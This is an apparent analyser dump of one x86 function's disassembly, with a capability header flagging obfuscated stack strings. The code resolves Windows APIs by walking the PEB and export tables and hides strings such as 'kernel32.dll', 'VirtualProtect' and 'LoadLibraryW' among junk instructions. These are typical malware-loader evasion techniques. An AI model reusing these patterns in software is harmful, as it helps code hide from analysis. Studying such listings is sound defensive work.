Function at 0x41dbc0
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
into
add dword [edi], esp
add byte [eax], al
add esi, 0xb449
and esi, 0x1731d
add esi, 0x48a3
pop esi
push edx
push esi
add esp, 4
sub edx, 0x1304b
xor byte [ecx], al
add byte [edx + 0x56], bl
sub esi, 0xd65a
pop esi
mov ecx, dword [ebp - 0x504]
mov edx, dword [ecx]
mov dword [ebp - 0x504], edx
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0xc98]
je 0x41dbf8
mov ecx, dword [ebp - 0x504]
cmp dword [ecx + 0x30], 0
jne 0x41d9ae
mov dword [ebp - 0x31c], 0
push eax
push ecx
add esp, 4
add eax, 0x14b3e
pop eax
push ecx
and ecx, 0x12c43
call 0x41e56f
add byte [edx + edi], bh
dec esi
xor eax, dword [esi + 0x3c]
dec ecx
dec ecx
push eax
add esp, 4
and ecx, 0x3cf4
or ecx, 0x418d
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x197c], eax
mov ecx, dword [ebp - 0x197c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1980], edx
mov eax, dword [ebp - 0x1980]
mov dword [ebp - 0x15fc], eax
push eax
or eax, 0x16645
pop eax
push edx
push ebx
add esp, 4
or edx, 0x14060
pop edx
push eax
push edi
add esp, 4
and eax, 0x972
pop eax
push ecx
push edx
add esp, 4
xor ecx, 0x12ad4
sub ecx, 0xa504
pop ecx
cmp dword [ebp - 0x15fc], 0
jne 0x41e5f0
mov dword [ebp - 0x31c], 0
jmp 0x41e897
mov ecx, dword [ebp - 0x15fc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcb4], eax
push eax
push esi
add esp, 4
sub eax, 0x380b
or eax, 0x13bac
add eax, 0x3159
pop eax
push edx
xor edx, 0xb89a
call 0x41e630
add byte [edi], bh
cmp byte [edx + 0x48], al
cmp ecx, dword [esi + 0x42]
dec eax
xor eax, dword [ebx - 0x7ca5fb3c]
mov ebp, 0xfffff34c
add byte [ebp + 0xf], dh
mov dword [ebp - 0x31c], 0
jmp 0x41e897
push eax
and eax, 0x9e5d
jmp 0x41e8a4
pop eax
push ebx
or ebx, 0x172cd
jmp 0x41e8b1
pop ebx
push edi
push ebx
add esp, 4
jmp 0x41e8c0
pop edi
push eax
sub eax, 0x825d
pop eax
mov eax, dword [ebp - 0x31c]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x324], ecx
push ecx
push edi
add esp, 4
add ecx, 0x17801
pop ecx
push edx
or edx, 0x7226
sub edx, 0x5168
sub edx, 0x10738
call 0x41e906
add byte [edx + 0x44], al
dec eax
inc ebp
dec edx
aaa
aas
xor edi, dword [ebx + eax*4]
les eax, [edx + ebx*2]
mov dword [ebp - 0x770], 0
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0x1608], edx
cmp dword [ebp - 0x1608], 0
jne 0x41e93a
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x41ec2b
mov ecx, dword [ebp - 0x1608]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x160c], edx
jne 0x41e962
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x41ec2b
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x160c]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1610], ecx
cmp dword [ebp - 0x1610], 0
jne 0x41e994
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
jmp 0x41ec2b
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1610]
mov dword [ebp - 0x764], eax
jne 0x41e9b9
mov ecx, dword [ebp - 0x770]
mov dword [ebp - 0x510], ecx
jmp 0x41ec2b
mov edx, dword [ebp - 0x764]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1984], eax
mov ecx, dword [ebp - 0x764]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1988], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1d10], ecx
mov dword [ebp - 0x768], 0
jmp 0x41ea13
mov edx, dword [ebp - 0x768]
add edx, 1
mov dword [ebp - 0x768], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x768]
cmp ecx, dword [eax + 0x18]
jae 0x41ec1f
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x1984]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x1988]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1d10]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x198c], eax
mov dword [ebp - 0x19c], 0
jmp 0x41ea83
mov ecx, dword [ebp - 0x19c]
add ecx, 1
mov dword [ebp - 0x19c], ecx
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
test eax, eax
je 0x41eb35
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x878]
test edx, edx
je 0x41eb35
push eax
push esi
add esp, 4
add eax, 0x18158
call 0x41eac8
add byte [ecx + 0x33], al
inc ecx
cmp cl, byte [eax + 0x4b]
aas
add esp, 4
call 0x41ead8
mov ecx, dword [ebp - 0x76c]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x878]
cmp edx, ecx
jne 0x41eb2e
jmp 0x41ea74
jmp 0x41eb35
push edx
push edx
add esp, 4
and edx, 0x7a75
xor edx, 0x13fcf
pop edx
push edi
push edx
add esp, 4
call 0x41eb5c
add byte [eax + 0x34], dl
inc ebx
dec eax
cmp cl, byte [edi + 0x32]
dec edi
inc ebx
dec edx
add esp, 4
jmp 0x41eb66
pop edi
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x878]
cmp eax, edx
jne 0x41eb94
mov dword [ebp - 0xcb8], 0
jmp 0x41ec03
push edx
push eax
add esp, 4
sub edx, 0x7f46
pop edx
push esi
call 0x41ebae
add byte [eax + 0x50], al
cmp dword [edi + 0x3e], ecx
inc eax
add esp, 4
xor esi, 0x169
pop esi
push esi
sub esi, 0x7980
or esi, 0x11560
pop esi
mov eax, dword [ebp - 0x76c]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x878]
or eax, 0x20
cmp ecx, eax
jge 0x41ebf9
mov dword [ebp - 0xcb8], 0xffffffff
jmp 0x41ec03
mov dword [ebp - 0xcb8], 1
cmp dword [ebp - 0xcb8], 0
jne 0x41ec1a
mov ecx, dword [ebp - 0x198c]
mov dword [ebp - 0x510], ecx
jmp 0x41ec2b
jmp 0x41ea04
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0x79c], eax
push edi
and edi, 0x14a5b
and edi, 0x8ff8
call 0x41ec53
add byte [edi], dh
inc esi
dec edi
inc edx
push eax
xor eax, 0x8344503e
les eax, [eax + ebp*8]
or al, byte [eax]
add byte [eax], al
add byte [edi + 0x47404b3c], bh
dec ebp
push eax
add esp, 4
pop edi
mov ecx, dword [ebp - 0x3e8]
add ecx, 0xe
mov dword [ebp - 0x19dc], ecx
push ebx
or ebx, 0xf5d0
or ebx, 0x1392f
sub ebx, 0x276
sub ebx, 0xec5d
pop ebx
push esi
push eax
add esp, 4
add esi, 0x9d56
and esi, 0xe9db
xor esi, 0x177a4
pop esi
cmp dword [ebp - 0x3e8], 0
je 0x41ecbc
cmp dword [ebp - 0xab8], 0
jne 0x41ed02
push esi
push eax
add esp, 4
and esi, 0x1bba
xor esi, 0x82e2
add esi, 0x1427b
pop esi
push ecx
xor ecx, 0x3633
xor ecx, 0x987
and ecx, 0x18393
add ecx, 0x1324b
pop ecx
mov edx, dword [ebp - 0x79c]
mov dword [ebp - 0x1990], edx
push 0
call dword [ebp - 0x1990]
mov dword [ebp - 0x20a8], 0xa
push esi
and esi, 0xc268
pop esi
push ebx
or ebx, 0x18382
sub ebx, 0x2975
pop ebx
push ebx
push eax
add esp, 4
jmp 0x41ed30
add ebx, 0x10228
jmp 0x41ed3d
pop ebx
mov eax, dword [ebp - 0x3e8]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ae], cl
mov edx, dword [ebp - 0xab8]
sub edx, dword [ebp - 0x3e8]
mov dword [ebp - 0x1694], edx
mov dword [ebp - 0xce8], 0
push ebx
call 0x41ed79
add byte [ebp + 0x41], cl
cmp dh, byte [ebx]
inc eax
cmp al, 0x45
dec ebx
inc edi
add esp, 4
or ebx, 0x3de8
jmp 0x41ed88
pop ebx
push edx
push eax
add esp, 4
sub edx, 0x6ec4
xor edx, 0xf4f0
pop edx
mov byte [ebp - 0x9d4], 0x56
mov byte [ebp - 0x9d3], 0x69
mov byte [ebp - 0x9d2], 0x72
mov byte [ebp - 0x9d1], 0x74
mov byte [ebp - 0x9d0], 0x75
mov byte [ebp - 0x9cf], 0x61
mov byte [ebp - 0x9ce], 0x6c
mov byte [ebp - 0x9cd], 0x50
mov byte [ebp - 0x9cc], 0x72
mov byte [ebp - 0x9cb], 0x6f
mov byte [ebp - 0x9ca], 0x74
mov byte [ebp - 0x9c9], 0x65
mov byte [ebp - 0x9c8], 0x63
mov byte [ebp - 0x9c7], 0x74
mov byte [ebp - 0x9c6], 0
push ebx
push edi
add esp, 4
add ebx, 0x1042b
xor ebx, 0x8370
add ebx, 0x339e
xor ebx, 0xf754
pop ebx
push ecx
add ecx, 0x3c33
or ecx, 0x12ffc
and ecx, 0x1118a
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1994], eax
mov ecx, dword [ebp - 0x1994]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1998], edx
mov eax, dword [ebp - 0x1998]
mov dword [ebp - 0x1614], eax
push edx
push ebx
add esp, 4
and edx, 0xc418
and edx, 0xbe57
pop edx
push ebx
add ebx, 0xd3e1
and ebx, 0x56ab
call 0x41ee8b
add byte [edi + esi], bh
inc esp
inc esi
aaa
dec edx
dec eax
cmp al, 0x35
add esp, 4
pop ebx
cmp dword [ebp - 0x1614], 0
jne 0x41eea7
mov dword [ebp - 0x2fc], 0
jmp 0x41f14e
mov ecx, dword [ebp - 0x1614]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc4], eax
push esi
push ecx
add esp, 4
call 0x41eecd
add byte [eax + edx*2 + 0x4a], cl
inc eax
xor al, 0x44
aaa
inc esp
dec esi
add esp, 4
or esi, 0x112b9
sub esi, 0x4493
jmp 0x41eee2
pop esi
push eax
xor eax, 0xf3e2
pop eax
cmp dword [ebp - 0xcc4], 0
jne 0x41ef03
mov dword [ebp - 0x2fc], 0
jmp 0x41f14e
mov ecx, dword [ebp - 0xcc4]
mov dword [ebp - 0x514], ecx
push ecx
push esi
add esp, 4
sub ecx, 0x77a2
sub ecx, 0x9345
sub ecx, 0x1714c
pop ecx
push ebx
jmp 0x41ef2d
call 0x41ef3d
add byte [edx + 0x3b], cl
dec eax
inc esp
dec edx
dec ebp
cmp dh, byte [esi]
dec edx
add esp, 4
pop ebx
lea edx, [ebp - 0x1738]
mov dword [ebp - 0xcc0], edx
mov eax, dword [ebp - 0x514]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcbc], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ecx
add ecx, 0x10a65
call 0x41ef7e
add byte [eax + 0x44], dl
inc esi
dec edx
inc ebp
dec ecx
add esp, 4
jmp 0x41ef8a
sub ecx, 0x837d
pop ecx
push ecx
push ecx
add esp, 4
or ecx, 0x3a0c
pop ecx
mov ecx, dword [ebp - 0xcbc]
mov dx, word [ecx]
mov word [ebp - 0x103e], dx
mov eax, dword [ebp - 0xcbc]
add eax, 2
mov dword [ebp - 0xcbc], eax
mov cx, word [ebp - 0x103e]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcc0]
mov ax, word [edx]
mov word [ebp - 0x1040], ax
mov ecx, dword [ebp - 0xcc0]
add ecx, 2
mov dword [ebp - 0xcc0], ecx
mov dx, word [ebp - 0x1040]
mov word [ebp - 0x38], dx
push edi
or edi, 0x14db7
jmp 0x41f004
xor edi, 0x16ec9
pop edi
push edi
add edi, 0x780e
call 0x41f022
add byte [esi], bh
inc edi
dec esp
dec edi
inc esp
inc eax
push eax
cmp byte [0x4c4833d], bh
pop edi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x41f043
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x161c], ecx
jmp 0x41f09d
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x41ef6b
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x41ef6b
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x41f087
mov dword [ebp - 0x1618], 0xffffffff
jmp 0x41f091
mov dword [ebp - 0x1618], 1
mov eax, dword [ebp - 0x1618]
mov dword [ebp - 0x161c], eax
cmp dword [ebp - 0x161c], 0
jne 0x41f0e6
push edx
push esi
add esp, 4
add edx, 0x13df9
xor edx, 0x14c85
add edx, 0x11b51
pop edx
push edi
call 0x41f0ce
add byte [edx + 0x42], al
push eax
cmp eax, 0x3540464d
cmp eax, dword [ebx - 0x87efb3c]
frstor dword [0x8b5f0001]
invalid
push esi
jmp 0x41f0ec
jmp 0x41f0f3
or esi, 0x1375e
pop esi
push edi
call 0x41f108
add byte [eax + 0x3c], cl
dec eax
inc ebp
inc ebp
inc edx
add esp, 4
sub edi, 0x11c9e
sub edi, 0x57ca
pop edi
mov edx, dword [ebp - 0x514]
mov eax, dword [edx]
mov dword [ebp - 0x514], eax
mov ecx, dword [ebp - 0x514]
cmp ecx, dword [ebp - 0xcc4]
je 0x41f144
mov edx, dword [ebp - 0x514]
cmp dword [edx + 0x30], 0
jne 0x41ef0f
mov dword [ebp - 0x2fc], 0
push ebx
push ecx
add esp, 4
or ebx, 0x118f3
jmp 0x41f160
pop ebx
push ecx
or ecx, 0x12ef3
pop ecx
push ecx
xor ecx, 0x17b89
sub ecx, 0x13491
jmp 0x41f17f
pop ecx
cmp dword [ebp - 0x2fc], 0
jne 0x41fa85
mov eax, 0x6b
mov word [ebp - 0x1790], ax
mov ecx, 0x65
mov word [ebp - 0x178e], cx
mov edx, 0x72
mov word [ebp - 0x178c], dx
mov eax, 0x6e
mov word [ebp - 0x178a], ax
mov ecx, 0x65
mov word [ebp - 0x1788], cx
mov edx, 0x6c
mov word [ebp - 0x1786], dx
mov eax, 0x33
mov word [ebp - 0x1784], ax
mov ecx, 0x32
mov word [ebp - 0x1782], cx
mov edx, 0x2e
mov word [ebp - 0x1780], dx
mov eax, 0x64
mov word [ebp - 0x177e], ax
mov ecx, 0x6c
mov word [ebp - 0x177c], cx
mov edx, 0x6c
mov word [ebp - 0x177a], dx
xor eax, eax
mov word [ebp - 0x1778], ax
push eax
push edx
add esp, 4
add eax, 0x1ee
call 0x41f23f
add byte [edi + esi + 0x50], cl
inc edi
aaa
inc ebp
inc ebx
add esp, 4
and eax, 0xe8e9
call 0x41f254
add byte [eax + 0x44], cl
dec eax
cmp dh, byte [esi]
dec eax
add esp, 4
pop eax
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x6f
mov byte [ebp - 0x8a2], 0x61
mov byte [ebp - 0x8a1], 0x64
mov byte [ebp - 0x8a0], 0x4c
mov byte [ebp - 0x89f], 0x69
mov byte [ebp - 0x89e], 0x62
mov byte [ebp - 0x89d], 0x72
mov byte [ebp - 0x89c], 0x61
mov byte [ebp - 0x89b], 0x72
mov byte [ebp - 0x89a], 0x79
mov byte [ebp - 0x899], 0x57
mov byte [ebp - 0x898], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x199c], ecx
mov edx, dword [ebp - 0x199c]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19a0], eax
mov ecx, dword [ebp - 0x19a0]
mov dword [ebp - 0x1620], ecx
push ebx
push ebx
add esp, 4
sub ebx, 0x12521
or ebx, 0xcca4
xor ebx, 0xb935
pop ebx
push edx
and edx, 0xacd2
add edx, 0x11b9c
xor edx, 0x7739
or edx, 0x4ce2
pop edx
cmp dword [ebp - 0x1620], 0
jne 0x41f325
mov dword [ebp - 0x774], 0
jmp 0x41f5cc
mov edx, dword [ebp - 0x1620]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd0], ecx
push ecx
push eax
add esp, 4
add ecx, 0x6caa
or ecx, 0x16c80
xor ecx, 0x3668
add ecx, 0x5d47
pop ecx
push ebx
sub ebx, 0x52d6
sub ebx, 0x1798e
xor ebx, 0x13583
pop ebx
cmp dword [ebp - 0xcd0], 0
jne 0x41f381
mov dword [ebp - 0x774], 0
jmp 0x41f5cc
mov edx, dword [ebp - 0xcd0]
mov dword [ebp - 0x518], edx
push ecx
call 0x41f39a
add byte [edi + ecx*2 + 0x3c], al
cmp bh, byte [edx]
cmp eax, 0x8104c483
ror esi, 0x47
add dword [eax], eax
pop ecx
push edi
sub edi, 0x24b3
or edi, 0x46c
jmp 0x41f3b8
add edi, 0x1172c
pop edi
lea eax, [ebp - 0x1790]
mov dword [ebp - 0xccc], eax
mov ecx, dword [ebp - 0x518]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcc8], edx
xor eax, eax
mov word [ebp - 0x220], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push eax
push esi
add esp, 4
and eax, 0x17e8
add eax, 0x16a01
or eax, 0xa723
pop eax
push ebx
push edx
add esp, 4
add ebx, 0xefa5
pop ebx
push esi
xor esi, 0xb9d7
sub esi, 0x16f59
pop esi
mov edx, dword [ebp - 0xcc8]
mov ax, word [edx]
mov word [ebp - 0x1042], ax
mov ecx, dword [ebp - 0xcc8]
add ecx, 2
mov dword [ebp - 0xcc8], ecx
mov dx, word [ebp - 0x1042]
mov word [ebp - 0x220], dx
mov eax, dword [ebp - 0xccc]
mov cx, word [eax]
mov word [ebp - 0x1044], cx
mov edx, dword [ebp - 0xccc]
add edx, 2
mov dword [ebp - 0xccc], edx
mov ax, word [ebp - 0x1044]
mov word [ebp - 0x3c], ax
push edx
push edi
add esp, 4
jmp 0x41f47c
call 0x41f488
add byte [ecx + 0x49], cl
cmp cl, byte [ebp + 0x45]
xor eax, 0x5a04c483
push edx
push edi
add esp, 4
jmp 0x41f497
add edx, 0x14594
or edx, 0xfaeb
pop edx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x41f4c1
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1668], edx
jmp 0x41f51b
movzx ecx, word [ebp - 0x220]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x41f3e9
movzx eax, word [ebp - 0x220]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x41f3e9
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x41f505
mov dword [ebp - 0x1624], 0xffffffff
jmp 0x41f50f
mov dword [ebp - 0x1624], 1
mov ecx, dword [ebp - 0x1624]
mov dword [ebp - 0x1668], ecx
cmp dword [ebp - 0x1668], 0
jne 0x41f564
push edx
or edx, 0x6eb4
sub edx, 0x12466
xor edx, 0xd92c
pop edx
push edx
call 0x41f546
add byte [esi], dh
cmp dword [ebx + 0x37], eax
dec edi
inc esi
aas
add esp, 4
or edx, 0x843
jmp 0x41f555
pop edx
mov edx, dword [ebp - 0x518]
mov dword [ebp - 0x774], edx
jmp 0x41f5cc
push eax
add eax, 0x960d
call 0x41f57a
add byte [ebx + eax*2 + 0x3e], cl
inc esi
inc esp
inc edx
aaa
cmp byte [ecx], bh
add esp, 4
and eax, 0xe029
pop eax
push edx
push esi
add esp, 4
xor edx, 0xbe3
xor edx, 0x40f7
pop edx
mov eax, dword [ebp - 0x518]
mov ecx, dword [eax]
mov dword [ebp - 0x518], ecx
mov edx, dword [ebp - 0x518]
cmp edx, dword [ebp - 0xcd0]
je 0x41f5c2
mov eax, dword [ebp - 0x518]
cmp dword [eax + 0x30], 0
jne 0x41f38d
mov dword [ebp - 0x774], 0
push ecx
sub ecx, 0x2995
add ecx, 0x69a3
add ecx, 0xcd89
pop ecx
push eax
push edi
add esp, 4
call 0x41f5f4
add byte [esi + 0x47], cl
dec eax
dec edx
aas
cmp edi, dword [ebx]
xor eax, 0x4c4833c
add eax, 0x10341
pop eax
cmp dword [ebp - 0x774], 0
jne 0x41f648
push eax
push eax
add esp, 4
call 0x41f61a
add byte [ecx + 0x39], al
xor al, 0x49
push eax
cmp dword [esi], esi
inc esi
add esp, 4
jmp 0x41f626
pop eax
push edx
push edi
add esp, 4
sub edx, 0x13cd8
or edx, 0x153b1
pop edx
mov dword [ebp - 0xab4], 0
jmp 0x420170
push ebx
call 0x41f657
add byte [ebx + 0x4b], cl
dec edx
xor eax, 0x403f3546
add esp, 4
pop ebx
push ecx
push ebx
add esp, 4
jmp 0x41f667
pop ecx
push edi
push edi
add esp, 4
xor edi, 0x1291f
xor edi, 0x172e3
pop edi
mov ecx, dword [ebp - 0x774]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3a4], edx
mov dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x166c], eax
cmp dword [ebp - 0x166c], 0
jne 0x41f6b9
mov ecx, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], ecx
jmp 0x41f9aa
mov edx, dword [ebp - 0x166c]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1670], eax
jne 0x41f6e1
mov ecx, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], ecx
jmp 0x41f9aa
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1670]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1678], edx
cmp dword [ebp - 0x1678], 0
jne 0x41f713
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], eax
jmp 0x41f9aa
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [ebp - 0x1678]
mov dword [ebp - 0x778], ecx
jne 0x41f738
mov edx, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], edx
jmp 0x41f9aa
mov eax, dword [ebp - 0x778]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19a4], ecx
mov edx, dword [ebp - 0x778]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19a8], eax
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19ac], edx
mov dword [ebp - 0x77c], 0
jmp 0x41f792
mov eax, dword [ebp - 0x77c]
add eax, 1
mov dword [ebp - 0x77c], eax
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x77c]
cmp edx, dword [ecx + 0x18]
jae 0x41f99e
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x19a4]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x780], edx
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x19a8]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19ac]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19b0], ecx
mov dword [ebp - 0x1a0], 0
jmp 0x41f802
mov edx, dword [ebp - 0x1a0]
add edx, 1
mov dword [ebp - 0x1a0], edx
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
test ecx, ecx
je 0x41f8b4
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x8a4]
test eax, eax
je 0x41f8b4
push esi
and esi, 0xf752
sub esi, 0xfe43
jmp 0x41f841
xor esi, 0xa575
pop esi
push eax
push eax
add esp, 4
sub eax, 0xb2de
pop eax
push eax
jmp 0x41f85a
or eax, 0x1589a
pop eax
mov ecx, dword [ebp - 0x780]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x8a4]
cmp edx, ecx
je 0x41f8a6
mov edx, dword [ebp - 0x780]
add edx, dword [ebp - 0x1a0]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a0]
movsx edx, byte [ebp + ecx - 0x8a4]
cmp eax, edx
jne 0x41f8ad
jmp 0x41f7f3
jmp 0x41f8b4
push ecx
push esi
add esp, 4
and ecx, 0x68ab
call 0x41f8cb
add byte [edx], dh
cmp eax, 0x3d35374f
add esp, 4
jmp 0x41f8d7
pop ecx
push edi
and edi, 0x53ab
add edi, 0xf3c9
pop edi
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x8a4]
cmp ecx, eax
jne 0x41f913
mov dword [ebp - 0xcd4], 0
jmp 0x41f982
push edx
and edx, 0x76d1
and edx, 0xd8f4
sub edx, 0xc42c
or edx, 0x1179
pop edx
push edi
jmp 0x41f933
or edi, 0xffbb
pop edi
push ebx
jmp 0x41f944
pop ebx
mov ecx, dword [ebp - 0x780]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x8a4]
or ecx, 0x20
cmp edx, ecx
jge 0x41f978
mov dword [ebp - 0xcd4], 0xffffffff
jmp 0x41f982
mov dword [ebp - 0xcd4], 1
cmp dword [ebp - 0xcd4], 0
jne 0x41f999
mov edx, dword [ebp - 0x19b0]
mov dword [ebp - 0x3f8], edx
jmp 0x41f9aa
jmp 0x41f783
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0
je 0x41fa85
push ebx
push esi
add esp, 4
or ebx, 0x1b7e
pop ebx
push esi
push edi
add esp, 4
and esi, 0x8bc1
pop esi
push edi
xor edi, 0xe4dd
sub edi, 0x41de
sub edi, 0x15b79
and edi, 0x6ace
pop edi
mov ecx, dword [ebp - 0x3f8]
mov dword [ebp - 0x19b4], ecx
push edi
add edi, 0xda15
or edi, 0x4950
and edi, 0x146b5
pop edi
push esi
or esi, 0x204c
and esi, 0x5966
xor esi, 0x3b6
pop esi
push edi
jmp 0x41fa26
pop edi
mov edx, dword [ebp - 0x19b4]
mov dword [ebp - 0x19b8], edx
lea eax, [ebp - 0x1738]
push eax
call dword [ebp - 0x19b8]
test eax, eax
jne 0x41fa85
push esi
push edx
add esp, 4
sub esi, 0x97d9
or esi, 0x16ec7
jmp 0x41fa5b
pop esi
push ecx
add ecx, 0x6a50
jmp 0x41fa69
pop ecx
push eax
push edi
add esp, 4
sub eax, 0x107da
pop eax
mov dword [ebp - 0xab4], 0
jmp 0x420170
push ecx
push esi
add esp, 4
add ecx, 0x15bd2
or ecx, 0xcfe0
jmp 0x41fa9d
pop ecx
push eax
call 0x41faad
add byte [eax + edx*2], dh
dec edi
dec ebp
inc ecx
cmp eax, 0x4c48350
add eax, 0x2527
pop eax
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19bc], ecx
mov edx, dword [ebp - 0x19bc]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19c0], eax
mov ecx, dword [ebp - 0x19c0]
mov dword [ebp - 0x167c], ecx
push esi
push edx
add esp, 4
call 0x41faf3
add byte [ecx], bh
push eax
cmp eax, 0x4b373242
inc edx
add esp, 4
add esi, 0xecb4
xor esi, 0x32ed
and esi, 0x5405
pop esi
push edx
add edx, 0xb9dd
pop edx
cmp dword [ebp - 0x167c], 0
jne 0x41fb29
mov dword [ebp - 0x2fc], 0
jmp 0x41fdd0
mov edx, dword [ebp - 0x167c]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce0], ecx
push edx
push esi
add esp, 4
sub edx, 0x3690
add edx, 0xe9dc
jmp 0x41fb53
and edx, 0x14e04
pop edx
push ecx
sub ecx, 0xb42f
xor ecx, 0x5a9e
jmp 0x41fb6c
pop ecx
cmp dword [ebp - 0xce0], 0
jne 0x41fb85
mov dword [ebp - 0x2fc], 0
jmp 0x41fdd0
mov edx, dword [ebp - 0xce0]
mov dword [ebp - 0x51c], edx
push eax
and eax, 0xb878
pop eax
push ecx
jmp 0x41fba3
pop ecx
push edx
push ebx
add esp, 4
add edx, 0x11962
pop edx
push esi
push edx
add esp, 4
xor esi, 0x145e2
jmp 0x41fbc2
pop esi
lea eax, [ebp - 0x1738]
mov dword [ebp - 0xcdc], eax
